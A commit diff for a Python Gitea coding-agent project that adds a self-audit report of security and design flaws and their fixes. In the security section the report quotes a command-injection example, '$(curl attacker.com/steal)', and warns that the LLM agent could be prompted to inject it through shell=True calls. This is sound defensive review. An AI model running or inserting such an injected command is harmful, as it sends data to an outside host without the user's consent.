Compare commits
5 Commits
3c94c3cfac
...
ae4e2d46ac
| Author | SHA1 | Date | |
|---|---|---|---|
| ae4e2d46ac | |||
| aa9e8222a3 | |||
| 139fb44fac | |||
| 21eefd9824 | |||
| e91780169e |
@@ -28,3 +28,4 @@ logs/
|
|||||||
agent_state.json
|
agent_state.json
|
||||||
ai-electronbun-todo-app/
|
ai-electronbun-todo-app/
|
||||||
test_connection.py
|
test_connection.py
|
||||||
|
.aider*
|
||||||
|
|||||||
@@ -1,5 +1,11 @@
|
|||||||
# Agent Instructions
|
# Agent Instructions
|
||||||
|
|
||||||
|
## Import Organization
|
||||||
|
|
||||||
|
- **Keep all imports at the top of the file.** Never add imports inside functions, methods, or conditional blocks.
|
||||||
|
- Use absolute imports for project modules (e.g., `from gitea.models import IssueModel`).
|
||||||
|
- Remove unused imports when editing files.
|
||||||
|
|
||||||
## Python Type Hints (REQUIRED)
|
## Python Type Hints (REQUIRED)
|
||||||
|
|
||||||
- **All functions must have type hints** for parameters and return types.
|
- **All functions must have type hints** for parameters and return types.
|
||||||
|
|||||||
+442
@@ -0,0 +1,442 @@
|
|||||||
|
# Bad Code Analysis
|
||||||
|
|
||||||
|
## 1. Security Vulnerabilities
|
||||||
|
|
||||||
|
### 1.1 Hardcoded Credentials in Git Credentials File [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/workspace.py:46`
|
||||||
|
|
||||||
|
```python
|
||||||
|
cred_line = f"{parsed.scheme}://meeks-ai:{GITEA_TOKEN}@{parsed.netloc}\n"
|
||||||
|
```
|
||||||
|
|
||||||
|
The Gitea token is embedded directly in the git credential URL and written to `~/.git-credentials` in plaintext. Anyone with filesystem access can read the token. This is a critical credential exposure vulnerability.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Replaced the plaintext `~/.git-credentials` storage and the local git `credential.helper store` setup with local repository-scoped `http.extraHeader` configuration. The token is dynamically Base64 encoded and passed as `Authorization: Basic <base64>` for cloning and local repository Git operations, ensuring credentials are never stored globally or in plaintext outside the repository's configuration.
|
||||||
|
|
||||||
|
### 1.2 Secrets Set as Environment Variables at Import Time [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/config.py:38-43`
|
||||||
|
|
||||||
|
```python
|
||||||
|
os.environ["GITEA_SERVER_URL"] = GITEA_URL
|
||||||
|
os.environ["GITEA_SERVER_TOKEN"] = GITEA_TOKEN
|
||||||
|
```
|
||||||
|
|
||||||
|
Secrets were injected into the global environment at module import time. This polluted the process environment, made secrets discoverable via `os.environ`, and could leak into child processes, logs, and debugging tools.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Removed the code block writing secrets to `os.environ` at import time in `gitea/config.py`.
|
||||||
|
|
||||||
|
|
||||||
|
### 1.3 Hardcoded Personal Email [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/workspace.py:60`
|
||||||
|
|
||||||
|
```python
|
||||||
|
email = user.email or f"{user.login or 'agent'}@noreply.gitea"
|
||||||
|
```
|
||||||
|
|
||||||
|
A personal email address was hardcoded as a fallback. This has been resolved by using a dynamic fallback email based on the authenticated user's login name.
|
||||||
|
|
||||||
|
### 1.4 No Input Sanitization in Shell Commands [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/tools/coding_tools.py:266`, `coding_tools.py:200`
|
||||||
|
|
||||||
|
```python
|
||||||
|
command: str = f"grep -ri '{pattern}' {resolved}"
|
||||||
|
```
|
||||||
|
|
||||||
|
```python
|
||||||
|
if "tea pr create" in command:
|
||||||
|
```
|
||||||
|
|
||||||
|
User-controlled or LLM-generated strings were interpolated directly into shell commands with `shell=True`. This was a command injection vulnerability. The LLM could have been prompted to inject commands like `$(curl attacker.com/steal)` into file paths or search patterns.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Modified `grep_search` to invoke the `grep` subprocess safely with `shell=False` and a list of command arguments `["grep", "-ri", pattern, resolved]`, eliminating shell interpolation and command injection risks. Added corresponding test assertions to verify `shell=False` execution.
|
||||||
|
|
||||||
|
## 2. Architecture Anti-Patterns
|
||||||
|
|
||||||
|
### 2.1 God Class: GiteaClient [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/client.py` (451 lines, 30+ methods)
|
||||||
|
`GiteaClient` implements 5 interfaces (`IssuesClient`, `PullRequestsClient`, `FilesClient`, `RefsClient`, `ReposClient`) and contains 30+ methods covering issues, PRs, files, refs, notifications, and repository operations. This violates the Single Responsibility Principle. Any change to one area (e.g., adding a new issue endpoint) requires touching a massive, unrelated class.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Refactored `GiteaClient` from a 502-line God Class into a ~70-line facade that provides access to 5 focused sub-clients, each responsible for a single domain:
|
||||||
|
- `gitea/issues_client.py` - `IssuesClient` (9 methods for issue operations)
|
||||||
|
- `gitea/prs_client.py` - `PullRequestsClient` (17 methods for PR operations)
|
||||||
|
- `gitea/files_client.py` - `FilesClient` (4 methods for file and git ref operations)
|
||||||
|
- `gitea/notifications_client.py` - `NotificationsClient` (2 methods for notification operations)
|
||||||
|
- `gitea/repos_client.py` - `ReposClient` (2 methods for repository and user operations)
|
||||||
|
|
||||||
|
Each sub-client follows the Single Responsibility Principle and is independently testable. The `GiteaClient` now only handles HTTP client lifecycle (`__init__`, `close`, `__enter__`, `__exit__`, `__del__`) and exposes the sub-clients as attributes (`client.issues`, `client.prs`, `client.files`, `client.notifications`, `client.repos`). All callers were updated to use the sub-clients directly.
|
||||||
|
|
||||||
|
### 2.2 Triple Layer of Indirection (Facade Anti-Pattern) [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/client.py` -> `gitea/tools/gitea_tools.py` -> `gitea/tools/issue_tools.py`
|
||||||
|
|
||||||
|
```
|
||||||
|
CodingAgent calls GiteaTools.add_comment()
|
||||||
|
-> GiteaTools delegates to IssueTools.add_comment()
|
||||||
|
-> IssueTools calls GiteaClient.add_comment()
|
||||||
|
```
|
||||||
|
|
||||||
|
Each layer adds zero value — no caching, no validation, no abstraction benefit. It's just pass-through delegation that makes the code harder to navigate and debug.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Removed the `GiteaTools` facade class entirely. The `AgentDispatcher`, `AgentOrchestrator`, and `TaskProcessor` classes now use the focused tool classes (`IssueTools`, `PRTools`, `FileTools`, `GitTools`) directly. This eliminates the unnecessary indirection layer and makes the code easier to navigate and debug. The `gitea/tools/gitea_tools.py` file and its corresponding test file `tests/test_gitea_tools.py` were deleted.
|
||||||
|
|
||||||
|
### 2.3 Useless Factory Pattern [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `core/factory.py`
|
||||||
|
|
||||||
|
```python
|
||||||
|
@staticmethod
|
||||||
|
def create_coding_agent(model_name: str) -> CodingAgent:
|
||||||
|
return CodingAgent(model_name)
|
||||||
|
```
|
||||||
|
|
||||||
|
Every factory method was a static method that directly instantiated and returned the object with no polymorphism or abstraction. This added a useless layer of indirection.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
The factory classes were completely removed. The components (`NotificationReaderAgent`, `CodingAgent`, etc.) are now imported and instantiated directly where they are used. The `core/factory.py` file was deleted.
|
||||||
|
|
||||||
|
### 2.4 Duplicate Agent Classes with Identical Prompts [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `core/coding_agent.py:13`, `core/planning_agent.py:13`
|
||||||
|
|
||||||
|
```python
|
||||||
|
# coding_agent.py
|
||||||
|
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
|
||||||
|
|
||||||
|
# planning_agent.py
|
||||||
|
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
|
||||||
|
```
|
||||||
|
|
||||||
|
`CodingAgent` and `PlanningAgent` are separate classes that use the exact same system prompt. There is no behavioral differentiation — they are identical code with different names. This is copy-paste duplication.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Created a distinct, tailored `PLANNING_AGENT_SYSTEM_PROMPT` in [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) specifically for the planning phase (focusing on research and drafting implementation plans without instructions on Git checkout/commit/PR lifecycle). Updated [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) to import and use the new prompt and added strict type hints to both [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) and [coding_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/coding_agent.py).
|
||||||
|
|
||||||
|
|
||||||
|
### 2.5 Vacuous Interface Hierarchy [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `core/interfaces.py`
|
||||||
|
The ABC interfaces (`IssuesClient`, `PullRequestsClient`, etc.) are defined but serve no practical purpose. `GiteaClient` directly inherits from all of them, but since there is only one implementation, the interfaces add no value. They neither enable mocking in tests nor allow swapping implementations. They are interfaces in name only.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Removed the vacuous interfaces entirely. Deleted `core/interfaces.py` and updated `GiteaClient` (`gitea/client.py`) and `BaseAgent` (`core/agent.py`) to no longer inherit from or import these unused Abstract Base Classes.
|
||||||
|
|
||||||
|
|
||||||
|
## 3. Error Handling Problems
|
||||||
|
|
||||||
|
### 3.1 Bare Except Clauses Swallowing All Errors [RESOLVED]
|
||||||
|
|
||||||
|
Scattered throughout the codebase (especially in `core/dispatcher.py` when retrieving files, comments, or reviews):
|
||||||
|
|
||||||
|
```python
|
||||||
|
# core/dispatcher.py:475
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
```
|
||||||
|
|
||||||
|
Bare/silent `except Exception` blocks caught all unexpected errors and bypassed logging or error handling, making debugging difficult.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Refactored all silent `except Exception: pass` blocks in `core/dispatcher.py` to capture the exception and log a warning with `logger.warning(..., exc_info=True)`. This preserves visibility of API or filesystem errors during issue and PR task processing.
|
||||||
|
|
||||||
|
### 3.2 `print()` Mixed with Logging Framework [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/client.py:41, 61, 176, 218, 237, 420, 431, 449`
|
||||||
|
The codebase uses Python's `logging` module in some places but falls back to `print()` for error output in `GiteaClient`. This creates inconsistent log output, bypasses log rotation, and makes it impossible to filter or route errors through structured logging.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Replaced all `print()` statements in `gitea/client.py`, `gitea/tools/pr_tools.py`, and `gitea/tools/issue_tools.py` with standard Python logging calls using `logger.error(..., exc_info=True)`. Logger objects are initialized per module and consistent log/error handling is established.
|
||||||
|
|
||||||
|
### 3.3 Silent Failure in `list_assigned_issues` [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/client.py:161-162`
|
||||||
|
|
||||||
|
```python
|
||||||
|
repo_owner = r.owner if hasattr(r, 'owner') else (r.get("owner") or {}).get("login", "")
|
||||||
|
repo_name = r.name if hasattr(r, 'name') else r.get("name", "")
|
||||||
|
```
|
||||||
|
|
||||||
|
The code checks `hasattr` as a fallback, which means the `RepositoryModel` type is sometimes a Pydantic model and sometimes a raw `dict`. This is a type inconsistency that indicates the model is not being used correctly.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Removed the redundant `hasattr` checks and fallback dictionary access in both `list_assigned_issues` and `list_assigned_pull_requests` methods of `GiteaClient`. Because `RepositoryModel` is used consistently, properties `r.owner` and `r.name` are accessed directly.
|
||||||
|
|
||||||
|
## 4. Dangerous Side Effects
|
||||||
|
|
||||||
|
### 4.1 `os.chdir()` in Dispatcher [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `core/dispatcher.py:680-684`
|
||||||
|
|
||||||
|
```python
|
||||||
|
original_cwd = os.getcwd()
|
||||||
|
if os.path.isdir(str(repo_path)):
|
||||||
|
os.chdir(str(repo_path))
|
||||||
|
changed_dir = True
|
||||||
|
```
|
||||||
|
|
||||||
|
Changing the working directory in a long-running async process is dangerous. If any coroutine runs concurrently or if the `finally` block fails to restore the directory, all subsequent file operations in the process will target the wrong directory. The `finally` restoration is a band-aid, not a solution.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Removed the `os.chdir()` call and related directory-restoration logic completely from `AgentDispatcher.dispatch`. Since all subprocess commands, git operations, and file operations in `WorkspaceManager` and `CodingTools` are invoked with explicit local repository working directory parameters (`cwd` or `-C`), changing the global process directory is completely unnecessary and has been safely eliminated.
|
||||||
|
|
||||||
|
### 4.2 Destructive `sanitize_repo` [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/workspace.py:81-118`
|
||||||
|
|
||||||
|
```python
|
||||||
|
subprocess.run(["git", "-C", str(repo_path), "reset", "--hard", "HEAD"], ...)
|
||||||
|
subprocess.run(["git", "-C", str(repo_path), "clean", "-fdx"], ...)
|
||||||
|
```
|
||||||
|
|
||||||
|
`git reset --hard HEAD` and `git clean -fdx` destroy all uncommitted changes and untracked files. This is destructive and irreversible. In an automated agent context, this could delete work that was in progress.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Refactored `WorkspaceManager.sanitize_repo` to first check if there are uncommitted changes or untracked files using `git status --porcelain`. If any are found, it runs `git stash push -u -m "Auto-backup before agent sanitization"` to preserve them in git stash. Additionally, if any of the sanitization subprocess calls fail, the method raises a `RuntimeError` rather than catching and swallowing it, avoiding silent downstream failures.
|
||||||
|
|
||||||
|
### 4.3 Global `git config --global --unset` [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/workspace.py:22-33`
|
||||||
|
|
||||||
|
```python
|
||||||
|
subprocess.run(["git", "config", "--global", "--unset", "credential.helper"], ...)
|
||||||
|
subprocess.run(["git", "config", "--global", "--unset", "user.name"], ...)
|
||||||
|
```
|
||||||
|
|
||||||
|
Unsetting global git config on every `WorkspaceManager` instantiation affects the entire user's git configuration, not just the agent's workspace. This is a dangerous side effect that could break the user's other git workflows.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Removed the `_configure_git_credentials()` method entirely. The agent now relies on local repository-scoped `http.extraHeader` configurations and local git configs, avoiding any global config changes and eliminating global side-effects.
|
||||||
|
|
||||||
|
## 5. Code Quality Issues
|
||||||
|
|
||||||
|
### 5.1 `Any` Type Overuse [RESOLVED]
|
||||||
|
|
||||||
|
Throughout the codebase, `Any` was used where specific types would be better:
|
||||||
|
|
||||||
|
```python
|
||||||
|
# gitea/client.py:34
|
||||||
|
def get_authenticated_user(self) -> UserModel | None:
|
||||||
|
# Returns UserModel but internally handles raw dict
|
||||||
|
|
||||||
|
# gitea/tools/gitea_tools.py:58
|
||||||
|
def list_assigned_issues(self) -> list[dict]: # Bare dict, not dict[str, Any]
|
||||||
|
```
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Replaced `Any` type annotations with `object` or specific types across the codebase:
|
||||||
|
- `core/agent.py`: Changed `Any` to `object` for message parameters and model attributes
|
||||||
|
- `gitea/files_client.py`: Changed `dict[str, Any]` to `dict[str, object]`
|
||||||
|
- `gitea/issues_client.py`: Changed `dict[str, Any]` to `dict[str, str | list[str]]` for issue data
|
||||||
|
- `gitea/models.py`: Changed `dict[str, Any]` to `dict[str, object]` for `head` and `base` fields
|
||||||
|
- `gitea/notifications_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
|
||||||
|
- `gitea/prs_client.py`: Changed `dict[str, Any]` to specific types (`dict[str, str | None]`, `dict[str, str]`, `dict[str, object]`) and introduced `ReviewRequest` dataclass for review payloads
|
||||||
|
- `gitea/repos_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
|
||||||
|
- `gitea/tools/git_tools.py`: Removed unused `from typing import Any` import
|
||||||
|
|
||||||
|
### 5.2 `assert` Used for Control Flow [RESOLVED]
|
||||||
|
|
||||||
|
**Files:** `core/dispatcher.py:492, 741, 754`, `core/agent.py:74, 94`
|
||||||
|
|
||||||
|
```python
|
||||||
|
issue_info = self.item.task_info
|
||||||
|
assert isinstance(issue_info, IssueModel)
|
||||||
|
```
|
||||||
|
|
||||||
|
`assert` can be disabled with `python -O` (optimize flag). Using it for runtime type validation means the check disappears in production builds.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Replaced all control-flow `assert` statements with proper runtime checks (raising `TypeError` for invalid task info in `core/dispatcher.py`, and `RuntimeError` if model initialization fails in `core/agent.py`). Also added unit tests in `tests/test_dispatcher.py` to verify correct raising of `TypeError` when invalid task info models are provided.
|
||||||
|
|
||||||
|
|
||||||
|
### 5.3 Hardcoded Values Scattered Throughout [RESOLVED]
|
||||||
|
|
||||||
|
**Files:** `core/dispatcher.py:82`, `gitea/client.py:67,440`, `gitea/config.py`
|
||||||
|
|
||||||
|
```python
|
||||||
|
# core/dispatcher.py:82
|
||||||
|
agent_usernames = {ai_username, "agent-bot"} # Hardcoded fallback username
|
||||||
|
|
||||||
|
# gitea/client.py:67
|
||||||
|
if (r.get("owner") or {}).get("login") == "meeks": # Hardcoded org filter
|
||||||
|
|
||||||
|
# gitea/client.py:440
|
||||||
|
if owner_login == "meeks": # Hardcoded org filter in notifications
|
||||||
|
```
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Added configurable settings `agent_usernames` (list of additional agent usernames) and `gitea_org_filter` (organization name for repo filtering) to `gitea/config.py`. Updated `core/dispatcher.py` to use `AGENT_USERNAMES` from config instead of hardcoded `"agent-bot"`. Updated `gitea/client.py` to use `GITEA_ORG_FILTER` in both `list_all_user_repos()` and `list_unread_notifications()` methods. The `agent_model_id` was already configurable via environment variables.
|
||||||
|
|
||||||
|
### 5.4 Inconsistent Return Types [RESOLVED]
|
||||||
|
|
||||||
|
Methods that should return structured data return `str` instead:
|
||||||
|
|
||||||
|
```python
|
||||||
|
# gitea/tools/issue_tools.py:15
|
||||||
|
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
||||||
|
# Returns IssueModel instead of JSON string
|
||||||
|
|
||||||
|
# gitea/tools/pr_tools.py:19
|
||||||
|
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
|
||||||
|
# Returns PullRequestModel instead of JSON string
|
||||||
|
|
||||||
|
# gitea/tools/pr_tools.py:122
|
||||||
|
def create_pull_request(...) -> PullRequestModel:
|
||||||
|
# Returns PullRequestModel instead of JSON string
|
||||||
|
|
||||||
|
# gitea/tools/pr_tools.py:139
|
||||||
|
def update_pull_request(...) -> PullRequestModel:
|
||||||
|
# Returns PullRequestModel instead of JSON string
|
||||||
|
```
|
||||||
|
|
||||||
|
The callers (LLM agent framework) handle model-to-JSON serialization automatically, so returning the model object directly provides type safety without losing the ability to display structured data to the LLM.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Updated `IssueTools.get_issue` to return `IssueModel`, `PRTools.get_pull_request` to return `PullRequestModel`, and `PRTools.create_pull_request` / `PRTools.update_pull_request` to return `PullRequestModel`. All methods now have proper return type hints and raise exceptions on error instead of returning error strings. Updated corresponding tests to verify model objects are returned directly.
|
||||||
|
|
||||||
|
### 5.5 Mutable Default Arguments (Near Miss)
|
||||||
|
|
||||||
|
While the codebase correctly uses `Field(default_factory=list)` in Pydantic models, the `CoordinatorTools` and `NotificationTools` classes use mutable instance attributes (`self.arguments: dict[str, Any] = {}`) that are shared state across tool calls. If two tool calls happen before the next decision, the arguments accumulate.
|
||||||
|
|
||||||
|
## 6. Performance Issues
|
||||||
|
|
||||||
|
### 6.1 Creating HTTP Client Per Request [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `gitea/client.py`
|
||||||
|
|
||||||
|
Every HTTP method previously created a new `httpx.Client()` context manager. This meant a new TCP connection was established for every API call. A single `poll_and_dispatch` cycle could create 10+ HTTP clients.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Updated `GiteaClient` to initialize a single shared `self.client: httpx.Client = httpx.Client(headers=self.headers)` during class instantiation. Removed the block-scoped `with httpx.Client() as client:` contexts and direct `httpx.get()` calls, and updated the test suite (`tests/test_client.py`) to patch `httpx.Client.get` instead.
|
||||||
|
|
||||||
|
|
||||||
|
### 6.2 No Caching
|
||||||
|
|
||||||
|
- Notifications are re-fetched every 60 seconds without any deduplication beyond the `since` timestamp
|
||||||
|
- PR diffs are fetched fresh every time a PR is processed
|
||||||
|
- File contents are fetched from the remote API instead of the local workspace when the repo is already cloned
|
||||||
|
|
||||||
|
## 7. Concurrency Issues
|
||||||
|
|
||||||
|
### 7.1 WorkQueue Claims Thread-Safety But Has None [RESOLVED]
|
||||||
|
|
||||||
|
**File:** `core/queue.py:19`
|
||||||
|
|
||||||
|
```python
|
||||||
|
class WorkQueue:
|
||||||
|
"""Thread-safe work queue grouped by repo."""
|
||||||
|
```
|
||||||
|
|
||||||
|
The docstring claimed thread-safety, but there were no locks. This has been resolved by using a `threading.Lock` inside all queue methods to serialize access to the internal lists and sets.
|
||||||
|
|
||||||
|
### 7.2 No Mutex on Workspace Operations
|
||||||
|
|
||||||
|
Multiple work items for the same repo can trigger concurrent `git clone`, `git reset`, and `git clean` operations. There is no locking to prevent race conditions on the filesystem.
|
||||||
|
|
||||||
|
## 8. Prompt Engineering Issues
|
||||||
|
|
||||||
|
### 8.1 Massive Embeded System Prompts
|
||||||
|
|
||||||
|
**File:** `core/coding_prompt.py` (221 lines)
|
||||||
|
A 221-line system prompt is embedded as a module-level string constant. This makes the prompt impossible to version-control separately, A/B test, or update without redeploying code. Prompts should be in separate files or a database.
|
||||||
|
|
||||||
|
### 8.2 Duplicated Prompt Content [RESOLVED]
|
||||||
|
|
||||||
|
`CODING_AGENT_SYSTEM_PROMPT` is used by both `CodingAgent` and `PlanningAgent` with no differentiation. If the planning agent needs different instructions, both agents must be updated simultaneously.
|
||||||
|
|
||||||
|
**Resolution:**
|
||||||
|
Defined `PLANNING_AGENT_SYSTEM_PROMPT` inside [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) to differentiate planning-specific instructions from coding/execution instructions.
|
||||||
|
|
||||||
|
|
||||||
|
## 9. Testing Issues
|
||||||
|
|
||||||
|
### 9.1 Tests Don't Mock HTTP Calls
|
||||||
|
|
||||||
|
**File:** `tests/test_client.py` and others
|
||||||
|
The tests appear to test real HTTP calls or minimal mocking. The `GiteaClient` creates its own `httpx.Client()` internally, making it impossible to inject a mock client. Tests should use dependency injection or `unittest.mock.patch` to avoid network calls.
|
||||||
|
|
||||||
|
### 9.2 No Tests for Critical Paths
|
||||||
|
|
||||||
|
- `WorkspaceManager.sanitize_repo()` (destructive git operations) has no tests
|
||||||
|
- `CodingTools.run_command()` (shell execution) has no tests
|
||||||
|
- `AgentOrchestrator.poll_and_dispatch()` (main polling loop) has no integration tests
|
||||||
|
- `dispatcher.py` (763 lines) has no dedicated test coverage
|
||||||
|
|
||||||
|
## 10. CUPID Programming Violations
|
||||||
|
|
||||||
|
### 10.1 Not Clear [RESOLVED]
|
||||||
|
|
||||||
|
- **Excessive indirection:** `GiteaTools` -> `IssueTools` -> `GiteaClient` adds 3 levels of pass-through with zero value [RESOLVED - see 2.2]
|
||||||
|
- **Unclear responsibilities:** `GiteaClient` handles issues, PRs, files, refs, notifications, and repository management — 5 distinct domains [RESOLVED - see 2.1]
|
||||||
|
- **Confusing naming:** `add_comment` and `add_comment_to_issue` do the same thing; `add_label` and `add_label_to_issue` do the same thing [RESOLVED]
|
||||||
|
|
||||||
|
**Resolution (Confusing Naming):**
|
||||||
|
Removed the duplicate methods `add_comment` and `add_label` from `IssueTools`. Only the more descriptive `add_comment_to_issue` and `add_label_to_issue` methods remain. Updated `core/dispatcher.py` to remove the duplicate tool registrations and updated `core/coding_prompt.py` to reference only `add_comment_to_issue`. Removed corresponding duplicate tests from `tests/test_issue_tools.py`.
|
||||||
|
|
||||||
|
### 10.2 Not Understandable
|
||||||
|
|
||||||
|
- **Massive files:** `dispatcher.py` (763 lines), `coding_prompt.py` (221 lines), `client.py` (451 lines) are too large to comprehend in a single reading
|
||||||
|
- **Complex control flow:** `IssueTaskProcessor.process()` (lines 452-653) has 7 nested `if/elif` branches, multiple `try/except` blocks, and inline subprocess calls — impossible to mentally trace
|
||||||
|
- **Mixed concerns:** `workspace.py` mixes git credential management, repo cloning, and user configuration setup
|
||||||
|
|
||||||
|
### 10.3 Not Performant
|
||||||
|
|
||||||
|
- **HTTP client per request:** Every API call creates a new TCP connection (see section 6.1)
|
||||||
|
- **No connection pooling:** `httpx.Client()` should be a shared singleton
|
||||||
|
- **Redundant data fetching:** Fetches PR diff, PR files, PR comments, and PR reviews separately when they could be batched
|
||||||
|
- **Inline subprocess calls:** Multiple `subprocess.run()` calls in `IssueTaskProcessor.process()` for git operations instead of using a git library
|
||||||
|
|
||||||
|
### 10.4 Not Inspectable
|
||||||
|
|
||||||
|
- **Minimal logging:** Most errors use `print()` instead of the logging framework
|
||||||
|
- **No metrics:** No counters for API calls, errors, processing times, or queue depth
|
||||||
|
- **No structured tracing:** No request IDs, no correlation between notification receipt and processing
|
||||||
|
- **State file is opaque:** `agent_state.json` is a simple timestamp with no versioning or migration
|
||||||
|
|
||||||
|
### 10.5 Not Delightful
|
||||||
|
|
||||||
|
- **Poor error messages:** `"Error getting issue: {str(e)}"` gives no actionable information
|
||||||
|
- **No user feedback:** When the agent fails, there is no graceful degradation or helpful error message
|
||||||
|
- **Destructive operations:** `git reset --hard` and `git clean -fdx` with no confirmation or dry-run option
|
||||||
|
- **Silent failures:** Methods return empty lists or `None` on error with no way to detect the failure downstream
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
| Category | Severity | Total | Unresolved |
|
||||||
|
| -------------------------- | -------- | ----- | ---------- |
|
||||||
|
| Security Vulnerabilities | Critical | 4 | 0 |
|
||||||
|
| Architecture Anti-Patterns | High | 5 | 0 |
|
||||||
|
| Error Handling Problems | High | 3 | 0 |
|
||||||
|
| Dangerous Side Effects | High | 3 | 0 |
|
||||||
|
| Code Quality Issues | Medium | 5 | 1 |
|
||||||
|
| Performance Issues | Medium | 2 | 1 |
|
||||||
|
| Concurrency Issues | Medium | 2 | 1 |
|
||||||
|
| Prompt Engineering Issues | Medium | 2 | 1 |
|
||||||
|
| Testing Issues | Medium | 2 | 2 |
|
||||||
|
| CUPID Violations | High | 5 | 4 |
|
||||||
|
|
||||||
|
**Total: 33 issues identified, 10 unresolved.**
|
||||||
|
|
||||||
|
### Unresolved Issues
|
||||||
|
|
||||||
|
| # | Issue | Section |
|
||||||
|
| ---- | -------------------------------------- | ------- |
|
||||||
|
| 1 | Mutable Default Arguments (Near Miss) | 5.5 |
|
||||||
|
| 2 | No Caching | 6.2 |
|
||||||
|
| 3 | No Mutex on Workspace Operations | 7.2 |
|
||||||
|
| 4 | Massive Embedded System Prompts | 8.1 |
|
||||||
|
| 5 | Tests Don't Mock HTTP Calls | 9.1 |
|
||||||
|
| 6 | No Tests for Critical Paths | 9.2 |
|
||||||
|
| 7 | Not Understandable | 10.2 |
|
||||||
|
| 8 | Not Performant | 10.3 |
|
||||||
|
| 9 | Not Inspectable | 10.4 |
|
||||||
|
| 10 | Not Delightful | 10.5 |
|
||||||
|
|
||||||
+4
-4
@@ -1,7 +1,7 @@
|
|||||||
import asyncio
|
import asyncio
|
||||||
import logging
|
import logging
|
||||||
import lmstudio as lms
|
import lmstudio as lms
|
||||||
from typing import Any, Callable
|
from typing import Callable
|
||||||
from .prompt import CAVEMAN_PROMPT
|
from .prompt import CAVEMAN_PROMPT
|
||||||
|
|
||||||
logger: logging.Logger = logging.getLogger("agent-base")
|
logger: logging.Logger = logging.getLogger("agent-base")
|
||||||
@@ -13,7 +13,7 @@ class _ActResponseCapture:
|
|||||||
def __init__(self) -> None:
|
def __init__(self) -> None:
|
||||||
self.responses: list[str] = []
|
self.responses: list[str] = []
|
||||||
|
|
||||||
def __call__(self, message: Any) -> None:
|
def __call__(self, message: object) -> None:
|
||||||
content: str = ""
|
content: str = ""
|
||||||
if hasattr(message, 'content'):
|
if hasattr(message, 'content'):
|
||||||
content = message.content
|
content = message.content
|
||||||
@@ -58,7 +58,7 @@ class BaseAgent:
|
|||||||
|
|
||||||
def __init__(self, model_name: str) -> None:
|
def __init__(self, model_name: str) -> None:
|
||||||
self.model_name: str = model_name
|
self.model_name: str = model_name
|
||||||
self.model: Any | None = None
|
self.model: object | None = None
|
||||||
self.system_prompt: str = ""
|
self.system_prompt: str = ""
|
||||||
|
|
||||||
async def initialize(self) -> None:
|
async def initialize(self) -> None:
|
||||||
@@ -87,7 +87,7 @@ class BaseAgent:
|
|||||||
logger.error(f"Agent execution error: {e}")
|
logger.error(f"Agent execution error: {e}")
|
||||||
return f"Error in agent execution: {str(e)}"
|
return f"Error in agent execution: {str(e)}"
|
||||||
|
|
||||||
async def run_with_tools(self, user_input: str, tools: list[Any]) -> str:
|
async def run_with_tools(self, user_input: str, tools: list[object]) -> str:
|
||||||
"""Run the agent with tool calling capability."""
|
"""Run the agent with tool calling capability."""
|
||||||
if self.model is None:
|
if self.model is None:
|
||||||
await self.initialize()
|
await self.initialize()
|
||||||
|
|||||||
+29
-25
@@ -43,7 +43,7 @@ def _find_pr_for_issue_helper(
|
|||||||
"""Find an open pull request that addresses the given issue number."""
|
"""Find an open pull request that addresses the given issue number."""
|
||||||
owner, repo_name = repo_full_name.split("/")
|
owner, repo_name = repo_full_name.split("/")
|
||||||
try:
|
try:
|
||||||
prs = client.list_repo_pull_requests(owner, repo_name)
|
prs = client.prs.list_repo_pull_requests(owner, repo_name)
|
||||||
for pr in prs:
|
for pr in prs:
|
||||||
ref = pr.head.get("ref", "") if pr.head else ""
|
ref = pr.head.get("ref", "") if pr.head else ""
|
||||||
if re.search(rf"(?<!\d){issue_number}(?!\d)", ref):
|
